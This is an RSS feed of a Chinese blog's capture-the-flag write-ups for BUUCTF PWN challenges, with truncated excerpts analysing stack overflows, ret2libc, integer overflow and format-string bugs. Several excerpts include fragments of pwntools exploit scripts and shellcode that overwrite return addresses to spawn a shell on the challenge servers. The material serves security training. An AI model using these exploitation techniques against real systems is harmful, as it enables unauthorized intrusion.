<?xml version="1.0" encoding="utf-8" ?><rss version="2.0"><channel><title><![CDATA[BangSen1的博客]]></title><description><![CDATA[]]></description><link>https://blog.youkuaiyun.com/BangSen1</link><language>zh-cn</language><generator>https://blog.youkuaiyun.com/</generator><copyright><![CDATA[Copyright &copy; BangSen1]]></copyright><item><title><![CDATA[[BUUCTF]PWN——ciscn_2019_s_9]]></title><link>https://blog.youkuaiyun.com/BangSen1/article/details/116172469</link><guid>https://blog.youkuaiyun.com/BangSen1/article/details/116172469</guid><author>BangSen1</author><pubDate>Mon, 26 Apr 2021 21:10:00 +0800</pubDate><description><![CDATA[ciscn_2019_s_9
参考
例行检查 ，32位，未开启任何保护

运行一下。

32位ida载入，，第10行的fgets，能够溢出0x32-0x20-0x4个字节
没用nx保护，首先想到的就是往s里写入shellcode，然后跳转到s执行shellcode
生成的shellcode的长度过长，参数 s0x20(32) 写不下。
shellcode ='''
xor eax,eax             #eax置0
xor edx,edx				#edx置0
push edx				#将0入栈，标]]></description><category></category></item><item><title><![CDATA[[BUUCTF]PWN——[BSidesCF 2019]Runit]]></title><link>https://blog.youkuaiyun.com/BangSen1/article/details/116171378</link><guid>https://blog.youkuaiyun.com/BangSen1/article/details/116171378</guid><author>BangSen1</author><pubDate>Mon, 26 Apr 2021 20:35:57 +0800</pubDate><description><![CDATA[[BSidesCF 2019]Runit
例行检查 ，32位，开启NX保护

运行一下。

IDA打开，查看主函数。

buf用mmap映射了地址，可读可写可执行，直接传入shellcode，15行调用了buf，运行shellcode获取shell。
from pwn import *

p=remote("node3.buuoj.cn",26059)

context.arch="i386"

shellcode=asm(shellcraft.sh())
p.sendline(shellcode)

p.]]></description><category></category></item><item><title><![CDATA[[BUUCTF]PWN——jarvisoj_test_your_memory]]></title><link>https://blog.youkuaiyun.com/BangSen1/article/details/115558135</link><guid>https://blog.youkuaiyun.com/BangSen1/article/details/115558135</guid><author>BangSen1</author><pubDate>Fri, 09 Apr 2021 20:04:47 +0800</pubDate><description><![CDATA[jarvisoj_test_your_memory
例行检查 ，32位，开启了NX保护

运行一下，跳出了一个地址0x80487e0

用IDA打开。看到了cat flag.还有system

找到了他们的地址


查看main函数

mem_test函数

存在溢出漏洞，由于之前检索字符串的时候发现程序里调用了system函数，可以覆盖ret为system函数，去执行system。
from pwn import *
 
r =remote('node3.buuoj.cn',27075)
 
 
syst]]></description><category></category></item><item><title><![CDATA[[BUUCTF]PWN——picoctf_2018_rop chain]]></title><link>https://blog.youkuaiyun.com/BangSen1/article/details/115557479</link><guid>https://blog.youkuaiyun.com/BangSen1/article/details/115557479</guid><author>BangSen1</author><pubDate>Fri, 09 Apr 2021 19:37:39 +0800</pubDate><description><![CDATA[picoctf_2018_rop chain
例行检查 ，32位，开启NX保护。

运行一下。

用IDA打开。看到了flag.txt，
跟进查看/

]]></description><category></category></item><item><title><![CDATA[[BUUCTF]PWN——bjdctf_2020_babystack2]]></title><link>https://blog.youkuaiyun.com/BangSen1/article/details/115470350</link><guid>https://blog.youkuaiyun.com/BangSen1/article/details/115470350</guid><author>BangSen1</author><pubDate>Tue, 06 Apr 2021 20:53:08 +0800</pubDate><description><![CDATA[bjdctf_2020_babystack2
64位，开启NX保护。

运行一下。

用IDA打开。找到了后门函数。backdoor=0x400726


查看main函数
读入数据的大小由我们输入的参数nbytes控制
nbytes参数的类型  是  size_t，它是一个无符号整型。
但是第7行又将它转换成了有符号的整型，存在整数溢出漏洞（即无符号的数转换成有符号的整型后超过了有符号的整型能表示的范围，从而造成溢出，常用-1来造成溢出）

from pwn import *

r=remote('nod]]></description><category></category></item><item><title><![CDATA[[BUUCFT]PWN——pwn2_sctf_2016]]></title><link>https://blog.youkuaiyun.com/BangSen1/article/details/115416884</link><guid>https://blog.youkuaiyun.com/BangSen1/article/details/115416884</guid><author>BangSen1</author><pubDate>Sat, 03 Apr 2021 16:21:54 +0800</pubDate><description><![CDATA[pwn2_sctf_2016
例行检查，32位，开启了NX保护。

运行一下

用IDA打开。main函数调用了vuln函数

接受a2个长度的字符串并放到vuln函数的缓冲区内部，但是a2传入的值类型是unsigned int，而前面判断长度的类型是int，这边可以输入负数来达到溢出的效果（整数溢出）

我们可以通过，输入负数，绕过长度限制，造成溢出，再利用printf函数泄露程序的libc版本，去算出system和‘/bin/sh‘的地址，最后溢出覆盖返回地址去执行system（‘/bin/sh’）
f]]></description><category></category></item><item><title><![CDATA[[BUUCTF]PWN--------jarvisoj_level4]]></title><link>https://blog.youkuaiyun.com/BangSen1/article/details/115407402</link><guid>https://blog.youkuaiyun.com/BangSen1/article/details/115407402</guid><author>BangSen1</author><pubDate>Fri, 02 Apr 2021 20:53:46 +0800</pubDate><description><![CDATA[jarvisoj_level4
例行检查，32位，开启NX保护

运行一下

用IDA打开。查看主函数

查看vulnerable_function()函数

buf存在溢出漏洞。
是一道ret2libc类型的题目。
利用第一次溢出泄露libc版本，从而获取system函数和"/bin/sh"的地址，并且返回重新执行主函数。
再利用第二次栈溢出跳转执行system("/bin/sh")

from pwn import *
from LibcSearcher import *

context(os = "]]></description><category></category></item><item><title><![CDATA[[BUUCTF]PWN——jarvisoj_level1]]></title><link>https://blog.youkuaiyun.com/BangSen1/article/details/115359395</link><guid>https://blog.youkuaiyun.com/BangSen1/article/details/115359395</guid><author>BangSen1</author><pubDate>Wed, 31 Mar 2021 21:12:33 +0800</pubDate><description><![CDATA[jarvisoj_level1
例行检查，32位，未开启任何保护。

运行一下，给了一个地址  0xffef96b0

用IDA打开，查看主函数

查看function函数。由此我们可以知道 bufadddr= 0xffef96b0,

buf存在溢出漏洞。由于题目并没有开启任何保护。所以我们可以先通过read读入shellcode，然后利用溢出漏洞将ret覆盖为buf参数地址（此时buf里是shellcode）去执行即可获取shell。

...]]></description><category></category></item><item><title><![CDATA[[BUUCTF]PWN——picoctf_2018_buffer overflow 2]]></title><link>https://blog.youkuaiyun.com/BangSen1/article/details/115358552</link><guid>https://blog.youkuaiyun.com/BangSen1/article/details/115358552</guid><author>BangSen1</author><pubDate>Wed, 31 Mar 2021 19:57:38 +0800</pubDate><description><![CDATA[picoctf_2018_buffer overflow 2
例行检查，32位，开启NX保护

运行一下，

用IDA打开。看到了flag.txt，跟进一下。

win函数地址为0x80485cb

a1 == 0xDEADBEEF &amp;&amp; a2 == 0xDEADC0DE 时，输出flag.

from pwn import*
r=remote('node3.buuoj.cn',26224)

payload='a'*(0x6c+4)+p32(0x80485cb)+p32(0)+p32(0x]]></description><category></category></item><item><title><![CDATA[[BUUCTF]PWN——wustctf2020_getshell]]></title><link>https://blog.youkuaiyun.com/BangSen1/article/details/115335105</link><guid>https://blog.youkuaiyun.com/BangSen1/article/details/115335105</guid><author>BangSen1</author><pubDate>Tue, 30 Mar 2021 20:46:11 +0800</pubDate><description><![CDATA[wustctf2020_getshell
例行检查 ，开启NX保护，32位，

运行一下，打印出一个图形。

用IDA打开。看到了关键函数。


shelladdr=0x804851B
查看主函数，buf的长度为0x18，读取的长度为0x20，可以造成溢出。

from pwn import*

r=remote('node3.buuoj.cn',28128)

shelladdr=0x804851B

payload='a'*(0x18+4)+p32(shelladdr)

r.sendline(payl]]></description><category></category></item><item><title><![CDATA[[BUUCTF]PWN——jarvisoj_level2_x64]]></title><link>https://blog.youkuaiyun.com/BangSen1/article/details/115333417</link><guid>https://blog.youkuaiyun.com/BangSen1/article/details/115333417</guid><author>BangSen1</author><pubDate>Tue, 30 Mar 2021 19:53:32 +0800</pubDate><description><![CDATA[jarvisoj_level2_x64
例行检查 ，64位，开启NX保护，

运行一下

用IDA打开。

systemaddr=0x40063e

shalladdr=0x400A90
查看主函数，buf的长度为0x80,读取的长度为0x200，可以造成溢出漏洞。

rdiaddr= 0x4006b3

from pwn import *

context(log_level = 'debug')
elf = ELF('./level2_x64')
p = remote('node3.buuoj.cn',]]></description><category></category></item><item><title><![CDATA[[BUUCTF]PWN——[HarekazeCTF2019]baby_rop]]></title><link>https://blog.youkuaiyun.com/BangSen1/article/details/115309934</link><guid>https://blog.youkuaiyun.com/BangSen1/article/details/115309934</guid><author>BangSen1</author><pubDate>Mon, 29 Mar 2021 20:46:29 +0800</pubDate><description><![CDATA[例行检查，64位，开启NX保护。

运行一下

用IDA打开。shift+f12检索字符串，看到了system和/bin/sh

shelladdr=0x601048

systemaddr=0x400496

查看主函数，v4的输入没有长度限制 ，可以造成溢出，由于程序 是64位的，所以传参会用到寄存器
当参数少于7个时， 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。
当参数为7个以上时，后面的依次从 “右向左” 放入栈中。

找到rdi的位置。

rdiaddr=0x]]></description><category></category></item><item><title><![CDATA[[BUUCTF]PWN——bjdctf_2020_babystack]]></title><link>https://blog.youkuaiyun.com/BangSen1/article/details/115309147</link><guid>https://blog.youkuaiyun.com/BangSen1/article/details/115309147</guid><author>BangSen1</author><pubDate>Mon, 29 Mar 2021 20:01:11 +0800</pubDate><description><![CDATA[例行检查，64位，开启NX保护

运行一下，

用IDA打开，检索字符串，看到了后门

跟进查看。

找到了地址，shelladdr=0x4006EA
查看主函数

接收函数长度由我们自己决定，由此可以造成溢出。

from pwn import*

r=remote('node3.buuoj.cn',25232)
shelladdr=0x4006EA

r.sendline('100')
payload='a'*(0x10+8)+p64(shelladdr)

r.sendline(payload)
r.]]></description><category></category></item><item><title><![CDATA[[BUUCTF]PWN——jarvisoj_level5]]></title><link>https://blog.youkuaiyun.com/BangSen1/article/details/115271196</link><guid>https://blog.youkuaiyun.com/BangSen1/article/details/115271196</guid><author>BangSen1</author><pubDate>Sat, 27 Mar 2021 20:58:25 +0800</pubDate><description><![CDATA[jarvisoj_level5
例行检查，开启NX保护

IDA打开，找到主函数。buf很明显的溢出漏洞

56分49秒，采用ret2libc的方法，得用write函数来泄露libc。
from pwn import*
from LibcSearcher import*

r=remote('node3.buuoj.cn',27018)
elf=ELF('./level3_x64')

main_addr=0x40061a
pop_rdi=0x4006b3
pop_rsi_r15=0x4006b1

wri]]></description><category></category></item><item><title><![CDATA[[BUUCTF]PWN——bjdctf_2020_babyrop]]></title><link>https://blog.youkuaiyun.com/BangSen1/article/details/115218194</link><guid>https://blog.youkuaiyun.com/BangSen1/article/details/115218194</guid><author>BangSen1</author><pubDate>Thu, 25 Mar 2021 21:04:52 +0800</pubDate><description><![CDATA[bjdctf_2020_babyrop
例行检查 ，开启NX保护。

运行一下。

IDA打开，检索字符串，没有信息。

查看main函数，调用了vuln函数。

buf大小是0x20,但read读取了0x64,明显的溢出漏洞

大概是64位的libc泄露。
根据目前所学，libc泄露需要利用程序里调用过的函数来进行版本泄露，再通过函数的地址来计算出偏移量，从而计算出system函数和字符串“/bin/sh”的地址，再重新执行main函数，构造rop,执行已经得到的system函数和字符串“/bin/sh”]]></description><category></category></item><item><title><![CDATA[[BUUCTF]PWN——[第五空间2019 决赛]PWN5]]></title><link>https://blog.youkuaiyun.com/BangSen1/article/details/115191602</link><guid>https://blog.youkuaiyun.com/BangSen1/article/details/115191602</guid><author>BangSen1</author><pubDate>Thu, 25 Mar 2021 01:42:20 +0800</pubDate><description><![CDATA[[第五空间2019 决赛]PWN5
例行检查，32位，开启了canary保护和NX保护。



运行一下。

IDA打开，看到了/bin/sh,但开启了保护

查看主函数，函数的功能是读入一个4位的随机密码，再将我们输入的密码与随机生成数比较，相同就执行system

这里面的printf（）存在格式化字符串漏洞
按我的理解就是输入的参数的个数是不固定的，是由前面的格式化字符串决定的，所以我们只要控制了前面的格式化字符串，再结合一些参数，后面输出什么就是由我们决定的；如：
%d 用于读取10进制数值
%x ]]></description><category></category></item><item><title><![CDATA[[BUUCTF]PWN——[HarekazeCTF2019]baby_rop]]></title><link>https://blog.youkuaiyun.com/BangSen1/article/details/115189394</link><guid>https://blog.youkuaiyun.com/BangSen1/article/details/115189394</guid><author>BangSen1</author><pubDate>Wed, 24 Mar 2021 22:40:08 +0800</pubDate><description><![CDATA[[HarekazeCTF2019]baby_rop
例行检查，32位,开启NX保护和PIE保护


运行一下，直接就能执行shell的命令

远程连接运行一下，直接就获取到了flag


]]></description><category></category></item><item><title><![CDATA[[BUUCTF]PWN——铁人三项(第五赛区)_2018_rop]]></title><link>https://blog.youkuaiyun.com/BangSen1/article/details/115096040</link><guid>https://blog.youkuaiyun.com/BangSen1/article/details/115096040</guid><author>BangSen1</author><pubDate>Mon, 22 Mar 2021 20:43:32 +0800</pubDate><description><![CDATA[铁人三项(第五赛区)_2018_rop
32位，开启NX保护

运行程序。

用IDA打开，跳转到main函数

没有什么有用的信息，vulnerable_function()函数是输入点。

利用write函数来泄露程序的libc版本
知道libc版本后再计算程序里的system函数和字符串“/bin/sh”的地址
最后再覆盖返回地址
from pwn import *
from LibcSearcher import *

r=remote('node3.buuoj.cn',27850)
elf=ELF]]></description><category></category></item><item><title><![CDATA[[BUUCTF]PWN——picoctf_2018_buffer overflow 1]]></title><link>https://blog.youkuaiyun.com/BangSen1/article/details/115028160</link><guid>https://blog.youkuaiyun.com/BangSen1/article/details/115028160</guid><author>BangSen1</author><pubDate>Sat, 20 Mar 2021 15:34:41 +0800</pubDate><description><![CDATA[picoctf_2018_buffer overflow 1
例行检查，32位，没开启保护

运行一下

用IDA打开，检索字符串，看到了flag.txt，跟进找到了调用flag.txt的函数

win_addr=0x80485CB

gets函数读入，存在溢出漏洞，覆盖ret为win函数即可

from pwn import*

r=remote('node3.buuoj.cn',26185)
win_addr=0x80485CB	

payload='a'*(0x28+4)+p32(win_addr)
]]></description><category></category></item><item><title><![CDATA[[BUUCTF]PWN——jarvisoj_fm]]></title><link>https://blog.youkuaiyun.com/BangSen1/article/details/115003877</link><guid>https://blog.youkuaiyun.com/BangSen1/article/details/115003877</guid><author>BangSen1</author><pubDate>Fri, 19 Mar 2021 13:55:53 +0800</pubDate><description><![CDATA[jarvisoj_fm
例行检查，开启NX和CANARY保护,32位。

运行程序

IDA载入，检索字符串，看见了“/bin/sh”字符串

跟进函数，当x=4的时候执行system(/bin/sh)
存在格式化字符串漏洞，我们可以利用它随意读写的特性让x=4

找一下输入点的参数在栈上存储的位置，手动输入计算得到偏移为11

payload=p32(x_addr)+"%11$n"

首先传入x参数的地址，这个地址存放在栈上偏移为11的位置，利用%11$n，定位到了偏移为11的位置,往这个位置写入数据，写]]></description><category></category></item></channel></rss>